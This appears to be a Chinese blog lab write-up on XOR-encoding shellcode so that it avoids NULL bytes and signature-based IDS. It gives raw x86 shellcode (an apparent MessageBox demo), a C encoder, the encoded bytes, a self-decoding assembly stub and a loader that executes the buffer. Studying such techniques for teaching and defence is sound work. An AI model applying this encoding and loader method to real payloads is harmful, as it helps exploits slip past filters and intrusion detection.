目录
主要原因有:
(1)所有的字符串函数都会对NULL字节进行限制,为此,我们需要使用特殊的指令来避免在shellcode中直接出现NULL字节或者字;
(2)有些函数还要求shellcode必须为可见字符的ASCII值或者Unicode值;
(3)基于特征的IDS系统往往也会对常见的shellcode进行拦截。
说到底,就是如何绕过各种各样的规则,将shellcode从程序接口安全得送入栈内!
方法:使用编码技术对shellcode进行编码,使其满足限制得要求,再构造解码程序,放在shellcode开始执行的地方。当exploit成功时,shellcode顶端的解码程序首先运行,它会把shellcode还原成原来的样子。示意图如下:

windows XP、VC6.0、Ollydbg
需要用到的shellcode代码:
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
- "\x89\xD1\x4F\x68\x32\x74\x91\x0C"
- "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
- "\x04\x2B\xE3\x66\xBB\x33\x32\x53"
- "\x68\x75\x73\x65\x72\x54\x33\xD2"
- "\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
- "\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
- "\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
- "\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
- "\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
- "\x20\x03\xDD\x33\xFF\x47\x8B\x34"
- "\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
- "\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
- "\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
- "\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
- "\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
- "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
- "\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
- "\x53\x68\x77\x65\x73\x74\x68\x66"
- "\x61\x69\x6C\x8B\xC4\x53\x50\x50"
- "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
1、对shellcode进行编码。本实验采用基于异或运算得编码器,具体代码如下:
- #include
- #include
- #include
-
- void encoder(char* input,unsigned char key,int display_flag) //bool display_flag
- {
- int i=0,len=0;
- FILE* fp;
- unsigned char* output;
- len=strlen(input);
- output=(unsigned char*)malloc(len+1);
- if(!output)
- {
- printf("memory erro!\n");
- exit(0);
- }
- //encode the shellcode
- for(i=0;i
- {
- output[i]=input[i]^key;
- }
- if(!(fp=fopen("encode.txt","w+")))
- {
- printf("output file create erro");
- exit(0);
- }
- fprintf(fp,"\"");
- for(i=0;i
- {
- fprintf(fp,"\\x%0.2x",output[i]);
- if((i+1)%16==0)
- {
- fprintf(fp,"\"\n\"");
- }
- }
- fprintf(fp,"\";");
- fclose(fp);
- printf("dump the encoded shellcode to encode.txt OK!\n");
- if(display_flag)//print to screen
- {
- for(i=0;i
- {
- printf("%0.2x",output[i]);
- if((i+1)%16==0)
- {
- printf("\n");
- }
- }
- }
- free(output);
- }
-
- void main()
- {
- char shellcode[] =
- "\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
- "\x89\xD1\x4F\x68\x32\x74\x91\x0C"
- "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
- "\x04\x2B\xE3\x66\xBB\x33\x32\x53"
- "\x68\x75\x73\x65\x72\x54\x33\xD2"
- "\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
- "\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
- "\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
- "\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
- "\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
- "\x20\x03\xDD\x33\xFF\x47\x8B\x34"
- "\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
- "\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
- "\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
- "\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
- "\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
- "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
- "\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
- "\x53\x68\x77\x65\x73\x74\x68\x66"
- "\x61\x69\x6C\x8B\xC4\x53\x50\x50"
- "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
- encoder(shellcode,0x44,1);
-
- }
在vc6.0中直接编译、执行,会得到编码后的shellcode。

编码后的shellcode如下:
- "\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
- "\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
- "\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
- "\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
- "\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
- "\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
- "\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
- "\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
- "\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
- "\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
- "\x17\xbb\x13\xb8\x17\xbb\x13\xbc";
2、对于解码,可以用如下代码实现:
- #include
-
- void main()
- {
- _asm
- {
- add eax,0x14
- xor ecx,ecx
- decode_loop:
- mov bl,[eax+ecx]
- xor bl,0x44
- mov [eax+ecx],bl
- inc ecx
- cmp bl,0x90
- jne decode_loop
- }
- }
注:解码器不能单独运行,需要在VC6.0中编译、执行,生成PE文件,然后用Ollydbg提取出二进制的机器码。
汇编变为机器码
机器代码 汇编指令 说明 \x83\xC0\x14 add eax,0x14 越过decoder代码区 \x33\xC9 xor ecx,ecx ECX被当作循环变量 \x8A\x1C\x08 mov bl,[eax+ecx] \x80\xF3\x44 xor bl,0x44 key=0x44 x88\x1C\x08 mov [eax+ecx],bl \x41 inc ecx \x80\xFB\x90 cmp bl,0x90 0x90作为shellcode结束的标识符 \x75\xF1 jne
3、将解码指令放在经过编码后的shellcode前面,一起送入装载器测试。
- #include
- #include
- char shellcode[] =
- "\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"
- "\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
- "\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
- "\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
- "\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
- "\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
- "\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
- "\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
- "\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
- "\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
- "\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
- "\x17\xbb\x13\xb8\x17\xbb\x13\xbc";
-
- void main()
- {
- _asm
- {
- lea eax,shellcode
- push eax
- ret
- }
- }
运行效果:

-
相关阅读:
ASP.NET 系列:单元测试
(一) 使用 Hugo 搭建个人博客保姆级教程(上篇)
vue3学习(十五)--- Pinia状态管理器
什么是spring mvc 模式
【luogu P7967】Magneti(DP)
CAPL函数 Test Node中TestWait xxx 常用函数
2023年下半年架构案例真题及答案
PAT 1011 World Cup Betting
linux驱动程序的加载顺序
常用数据结构剖析
-
原文地址:https://blog.csdn.net/qq_55202378/article/details/126143031